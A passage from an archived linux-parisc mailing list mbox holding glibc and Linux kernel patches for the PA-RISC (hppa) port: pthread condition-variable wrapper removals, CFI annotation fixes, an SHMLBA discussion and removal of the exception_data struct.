-# define __pthread_cond_broadcast __pthread_cond_broadcast_internal
-# include_next <pthread_cond_broadcast.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c
deleted file mode 100644
index 49af087bb4..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_destroy.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_destroy (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_destroy_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_destroy, =
pthread_cond_destroy,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_destroy
-# define __pthread_cond_destroy __pthread_cond_destroy_internal
-# include_next <pthread_cond_destroy.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c
deleted file mode 100644
index ccb3de07ff..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_init.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_init (pthread_cond_t *cond, const pthread_condattr_t =
*cond_attr)
-{
-  cond_compat_clear (cond);
-  return __pthread_cond_init_internal (cond, cond_attr);
-}
-versioned_symbol (libpthread, __pthread_cond_init, pthread_cond_init,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_init
-# define __pthread_cond_init __pthread_cond_init_internal
-# include_next <pthread_cond_init.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c
deleted file mode 100644
index 2bf32af933..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_signal.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_signal (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_signal_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_signal, =
pthread_cond_signal,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_signal
-# define __pthread_cond_signal __pthread_cond_signal_internal
-# include_next <pthread_cond_signal.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c
deleted file mode 100644
index 1cc2fc15d4..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c
+++ /dev/null
@@ -1,53 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_wait.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_wait (pthread_cond_t *cond, pthread_mutex_t *mutex)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_wait_internal (cond, mutex);
-}
-versioned_symbol (libpthread, __pthread_cond_wait, pthread_cond_wait,
-                  GLIBC_2_3_2);
-int
-__pthread_cond_timedwait (cond, mutex, abstime)
-     pthread_cond_t *cond;
-     pthread_mutex_t *mutex;
-     const struct timespec *abstime;
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_timedwait_internal (cond, mutex, abstime);
-}
-versioned_symbol (libpthread, __pthread_cond_timedwait, =
pthread_cond_timedwait,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_wait
-# define __pthread_cond_wait __pthread_cond_wait_internal
-# undef __pthread_cond_timedwait
-# define __pthread_cond_timedwait __pthread_cond_timedwait_internal
-# include_next <pthread_cond_wait.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/setcontext.S =
b/sysdeps/unix/sysv/linux/hppa/setcontext.S
index 3f4da7938f..92cb204f8d 100644
--- a/sysdeps/unix/sysv/linux/hppa/setcontext.S
+++ b/sysdeps/unix/sysv/linux/hppa/setcontext.S
@@ -26,8 +26,11 @@
 ENTRY(__setcontext)
 	/* Prologue */
 	stwm	%r3, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 3, 0
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Save ucp.  */
@@ -141,7 +144,7 @@ ENTRY(__setcontext)
=20
 	/* No further context available. Exit now.  */
 	bl	HIDDEN_JUMPTARGET(exit), %r2
-	ldi	-1, %r26
+	ldi	0, %r26
=20
=20
 .Lerror:
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h =
b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
index 5ea297267f..8b7f2b2095 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
@@ -62,12 +62,11 @@
 	ENTRY (__##syscall_name##_nocancel)				=
\
 	DOARGS_##args					ASM_LINE_SEP	=
\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	=
\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	=
\
 	.cfi_offset TREG, 0				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	=
\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 30, -4				ASM_LINE_SEP	=
\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 19, -32				ASM_LINE_SEP	=
\
+	.cfi_offset 19, 32				ASM_LINE_SEP	=
\
 	/* Save r19 */					ASM_LINE_SEP	=
\
 	SAVE_PIC(TREG)					ASM_LINE_SEP	=
\
 	/* Do syscall, delay loads # */			ASM_LINE_SEP	=
\
@@ -91,21 +90,19 @@ L(pre_nc_end):						=
ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	=
\
 	/* Undo frame */				ASM_LINE_SEP	=
\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	=
\
 	/* Restore rp before exit */			ASM_LINE_SEP	=
\
 	ldw -20(%sp), %rp				ASM_LINE_SEP	=
\
-	.cfi_restore 2					ASM_LINE_SEP	=
\
 	ret						ASM_LINE_SEP	=
\
 	END(__##syscall_name##_nocancel)		ASM_LINE_SEP	=
\
 	/**********************************************/ASM_LINE_SEP	=
\
 	ENTRY (name)							=
\
 	DOARGS_##args					ASM_LINE_SEP	=
\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	=
\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	=
\
+	.cfi_offset TREG, 0				ASM_LINE_SEP	=
\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 30, -4				ASM_LINE_SEP	=
\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 19, -32				ASM_LINE_SEP	=
\
+	.cfi_offset 19, 32				ASM_LINE_SEP	=
\
 	/* Done setting up frame, continue... */	ASM_LINE_SEP	=
\
 	SINGLE_THREAD_P					ASM_LINE_SEP	=
\
 	cmpib,<>,n 0,%ret0,L(pseudo_cancel)		ASM_LINE_SEP	=
\
@@ -168,40 +165,32 @@ L(pre_end):						=
ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	=
\
 	/* Undo frame */				ASM_LINE_SEP	=
\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	=
\
 	/* Restore rp before exit */			ASM_LINE_SEP	=
\
-	ldw -20(%sp), %rp				ASM_LINE_SEP	=
\
-	.cfi_restore 2					ASM_LINE_SEP
+	ldw -20(%sp), %rp				ASM_LINE_SEP
=20
 /* Save arguments into our frame */
 # define PUSHARGS_0	/* nothing to do */
 # define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 26, -36			=
ASM_LINE_SEP
+			.cfi_offset 26, 28			=
ASM_LINE_SEP
 # define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 25, -40			=
ASM_LINE_SEP
+			.cfi_offset 25, 24			=
ASM_LINE_SEP
 # define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 24, -44			=
ASM_LINE_SEP
+			.cfi_offset 24, 20			=
ASM_LINE_SEP
 # define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 23, -48			=
ASM_LINE_SEP
+			.cfi_offset 23, 16			=
ASM_LINE_SEP
 # define PUSHARGS_5	PUSHARGS_4 stw %r22, -52(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 22, -52			=
ASM_LINE_SEP
+			.cfi_offset 22, 12			=
ASM_LINE_SEP
 # define PUSHARGS_6	PUSHARGS_5 stw %r21, -56(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 21, -56			=
ASM_LINE_SEP
+			.cfi_offset 21, 8			=
ASM_LINE_SEP
=20
 /* Bring them back from the stack */
 # define POPARGS_0	/* nothing to do */
-# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	=
ASM_LINE_SEP	\
-			.cfi_restore 26				=
ASM_LINE_SEP
-# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	=
ASM_LINE_SEP	\
-			.cfi_restore 25				=
ASM_LINE_SEP
-# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	=
ASM_LINE_SEP	\
-			.cfi_restore 24				=
ASM_LINE_SEP
-# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	=
ASM_LINE_SEP	\
-			.cfi_restore 23				=
ASM_LINE_SEP
-# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	=
ASM_LINE_SEP	\
-			.cfi_restore 22				=
ASM_LINE_SEP
-# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	=
ASM_LINE_SEP	\
-			.cfi_restore 21				=
ASM_LINE_SEP
+# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	=
ASM_LINE_SEP
+# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	=
ASM_LINE_SEP
+# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	=
ASM_LINE_SEP
+# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	=
ASM_LINE_SEP
+# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	=
ASM_LINE_SEP
+# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	=
ASM_LINE_SEP
=20
 # if IS_IN (libpthread)
 #  ifdef PIC
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep.h =
b/sysdeps/unix/sysv/linux/hppa/sysdep.h
index d8dd0431a4..c0cd59e9f5 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep.h
@@ -49,11 +49,9 @@
    to another function */
 #define TREG 4
 #define SAVE_PIC(SREG) \
-	copy %r19, SREG ASM_LINE_SEP	\
-	.cfi_register 19, SREG
+	copy %r19, SREG
 #define LOAD_PIC(LREG) \
-	copy LREG , %r19 ASM_LINE_SEP	\
-	.cfi_restore 19
+	copy LREG , %r19
 /* Inline assembly defines */
 #define TREG_ASM "%r4" /* Cant clobber r3, it holds framemarker */
 #define SAVE_ASM_PIC	"       copy %%r19, %" TREG_ASM "\n"
@@ -292,12 +290,11 @@
 #define DO_CALL(syscall_name, args)				\
 	/* Create a frame */			ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)			ASM_LINE_SEP	\
+	.cfi_def_cfa_offset -64			ASM_LINE_SEP	\
 	.cfi_offset TREG, 0			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset 64		ASM_LINE_SEP	\
 	stw %sp, -4(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 30, -4			ASM_LINE_SEP	\
 	stw %r19, -32(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 19, -32			ASM_LINE_SEP	\
+	.cfi_offset 19, 32			ASM_LINE_SEP	\
 	/* Save r19 */				ASM_LINE_SEP	\
 	SAVE_PIC(TREG)				ASM_LINE_SEP	\
 	/* Do syscall, delay loads # */		ASM_LINE_SEP	\
@@ -320,10 +317,8 @@
 L(pre_end):					ASM_LINE_SEP	\
 	/* Restore our frame, restoring TREG */	ASM_LINE_SEP	\
 	ldwm -64(%sp), TREG			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset -64		ASM_LINE_SEP	\
 	/* Restore return pointer */		ASM_LINE_SEP	\
-	ldw -20(%sp),%rp			ASM_LINE_SEP	\
-	.cfi_restore 2				ASM_LINE_SEP
+	ldw -20(%sp),%rp			ASM_LINE_SEP
=20
 /* We do nothing with the return, except hand it back to someone else =
*/
 #undef  DO_CALL_NOERRNO

--Apple-Mail-37--481356122--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sun, 2 Apr 2017 10:08:59 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi> <2241815.7QkIsKQeSs@daneel.sf-tec.de> <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1491142143 29845 195.159.176.226 (2 Apr 2017 14:09:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 2 Apr 2017 14:09:03 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 02 16:08:59 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cugBb-0008Vt-TL
	for glpp-linux-parisc@m.gmane.org; Sun, 02 Apr 2017 16:08:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751460AbdDBOJC convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 2 Apr 2017 10:09:02 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:58210 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751446AbdDBOJB (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 2 Apr 2017 10:09:01 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20170402140900.RARJ15349.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 2 Apr 2017 10:09:00 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by torspm01.bell.net
          with ESMTP
          id <20170402140900.OJXT4115.torspm01.bell.net@[192.168.2.10]>;
          Sun, 2 Apr 2017 10:09:00 -0400
In-Reply-To: <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=TOiqcxta c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=kj9zAlcOel0A:10 a=AzvcPWV-tVgA:10 a=VwQbUJbxAAAA:8 a=FBHGMhGWAAAA:8 a=8uzeWU1I_vsqqucr2cIA:9 a=5UfeUVTHhVtLnbSv:21 a=t0uD2pH5BlCNycqE:21 a=CjuIK1q_8ugA:10 a=AjGcO6oz07-iQ99wixmX:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27376
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27376>

On 2017-04-01, at 3:10 PM, Aaro Koskinen wrote:

> Hi,
> 
> On Sat, Apr 01, 2017 at 08:41:05PM +0200, Rolf Eike Beer wrote:
>> Aaro Koskinen wrote:
>>> On Mon, Dec 05, 2016 at 06:50:57PM -0500, John David Anglin wrote:
>>>> On 2016-12-05, at 4:17 PM, John David Anglin wrote:
>>>>> I'll post the current Debian patch set for hppa tonight and maybe we can
>>>>> consolidate.
>>> 
>>> [...]
>>> 
>>>> We still have a change to SHMLBA which affects non standard page sizes.
>>> 
>>> FWIW, this is the one (local-shmlba.diff) that is needed to get localedef
>>> working on PA-RISC. I just tested with glibc 2.25 and Linux 4.10 with 4 KB
>>> page size.
>> 
>> Missing attachment?
> 
> It was attached to Dave's original mail. Inlined below:
> 
> Index: eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h
> ===================================================================
> --- eglibc-2.18.orig/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2013-01-09 19:28:48.000000000 -0500
> +++ eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2014-04-09 21:08:06.516202583 -0400
> @@ -36,7 +36,7 @@
> #define SHM_UNLOCK	12		/* unlock segment (root only) */
> 
> /* Segment low boundary address multiple.  */
> -#define SHMLBA 0x00400000		/* address needs to be 4 Mb aligned */
> +#define SHMLBA		(__getpagesize ())
> 
> /* Type to count number of attaches.  */
> typedef unsigned long int shmatt_t;

This patch goes back to the following discussion:
https://patchwork.kernel.org/patch/3933841/

As far as I can tell, it was not submitted to the glibc list, nor is there a bug report regarding localedef.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop per-CPU exception_data struct dropped.
Date: Sun, 2 Apr 2017 16:51:58 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <20170402145158.GA31702@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1491144740 12637 195.159.176.226 (2 Apr 2017 14:52:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 2 Apr 2017 14:52:20 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 02 16:52:14 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cugrM-0001lQ-EU
	for glpp-linux-parisc@m.gmane.org; Sun, 02 Apr 2017 16:52:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751515AbdDBOwK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 2 Apr 2017 10:52:10 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:49351 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751482AbdDBOwJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 2 Apr 2017 10:52:09 -0400
Original-Received: from ls3530.fritz.box ([193.159.20.52]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M2nfO-1c5l023sT0-00sg3B; Sun, 02
 Apr 2017 16:52:01 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:PsY8xnMstc8mWi29XWWiWDQeznrJkyUX3dccDLzfF0SSm5xc7gD
 0pl5QYTjeEER4+P9n83SIlXTGWBWz4ZC2IF/fLgOBjJyFP/1nNsjsmv2l3XNc3KExxMU6ro
 8DbbQS5azxuRXGrnZ1itPy8b11jJRtvK3IubltCGaK5tgjRaSjhEzsDVn63B3ZUTalxr0uQ
 M/EhamA2xckKI5EBxrkcw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:odLaPXAt69Y=:TniYSo1guFi8i7KLix/mLL
 BMpcMLmIznD4U0dHRpGz8zweKWk260bnabiWH9mYLvhIsX+GjEpaPd3A74PB4mwolWTRuG4oX
 1u/5+BqSi9bMnMCh+AQum9uLM9kSfk/tOqcUL5pKFgeulww7+t1fDL4bliM/4xO6vvh2a7EQs
 +YptXRym5/gjoD+YAvlIfaYP93Twstwzd5ppaPY6IdF+288ixkZoSzAbclUtvv2tgWiNFGyvd
 Q8+u3yQYkKoix5vZIolwI2+hrLaPh6ENomX83XpIthMtVnvG/ZUGbLVD1H4H7SmEEEZPDFG67
 idXCslsWVdONUL4pVbWJBirbSkhH39yi+NumU4PgPTgFMOQbmj9gZ5hT769EjMDs3ncg5W6FC
 A/Cwg854e8cz46MowvnohlHDOCMTlxMhXeEpyZJoq7EKD5Yqaptp7ZDNDkSMru6yD0W0aQwQ0
 Y8jFz66TSlrYp2v21gY51KZ8c3A6SSHbYLQfU3H9uewunPfSYCx8nNIWwoFL+qUZpY7Yc85w9
 PjeSCfpj1AVjvgU2RHeyuTHMwPyjiW4+gX4PupZI/rQL6Otd4wxTZxfjd2WdfnpmmQOXHxar5
 JDjE9dvBbUSDij93CrNBB6J7jkCGjhp82PbYpKFJJGzRXHseTRTBtHas1ztRe+erRS3AnHL3R
 MQfRU3RZKctn2JJQ35oX9G360pPFyQA4lK3cXhaANssWH9qF2oVnpJ3MniBfegp+Wlxrohudt
 sxtiAAlZUg5A7GmcxEyMPxxb6WsfCvYHI3cTMetCbq/85YME0jz+BxUrd9E=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27377
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27377>

The only users have been migrated off by commits d19f5e41b344 ("parisc:
Clean up fixup routines for get_user()/put_user()") and 554bfeceb8a2
("parisc: Fix access fault handling in pa_memcpy()").

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 8442727..04cb974 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -74,17 +74,6 @@ struct exception_table_entry {
 	ASM_EXCEPTIONTABLE_ENTRY( fault_addr, except_addr + 1)
 
 /*
- * The page fault handler stores, in a per-cpu area, the following information
- * if a fixup routine is available.
- */
-struct exception_data {
-	unsigned long fault_ip;
-	unsigned long fault_gp;
-	unsigned long fault_space;
-	unsigned long fault_addr;
-};
-
-/*
  * load_sr2() preloads the space register %%sr2 - based on the value of
  * get_fs() - with either a value of 0 to access kernel space (KERNEL_DS which
  * is 0), or with the current value of %%sr3 to access user space (USER_DS)
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index 1c4fe61..dfff8a0 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -298,11 +298,6 @@ int main(void)
 	DEFINE(HUGEPAGE_SIZE, PAGE_SIZE);
 #endif
 	BLANK();
-	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
-	DEFINE(EXCDATA_GP, offsetof(struct exception_data, fault_gp));
-	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
-	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
-	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
 	return 0;
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 32ec221..fdc34cf 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -29,8 +29,6 @@
 #define BITSSET		0x1c0	/* for identifying LDCW */
 
 
-DEFINE_PER_CPU(struct exception_data, exception_data);
-
 int show_unhandled_signals = 1;
 
 /*
@@ -143,13 +141,6 @@ int fixup_exception(struct pt_regs *regs)
 
 	fix = search_exception_tables(regs->iaoq[0]);
 	if (fix) {
-		struct exception_data *d;
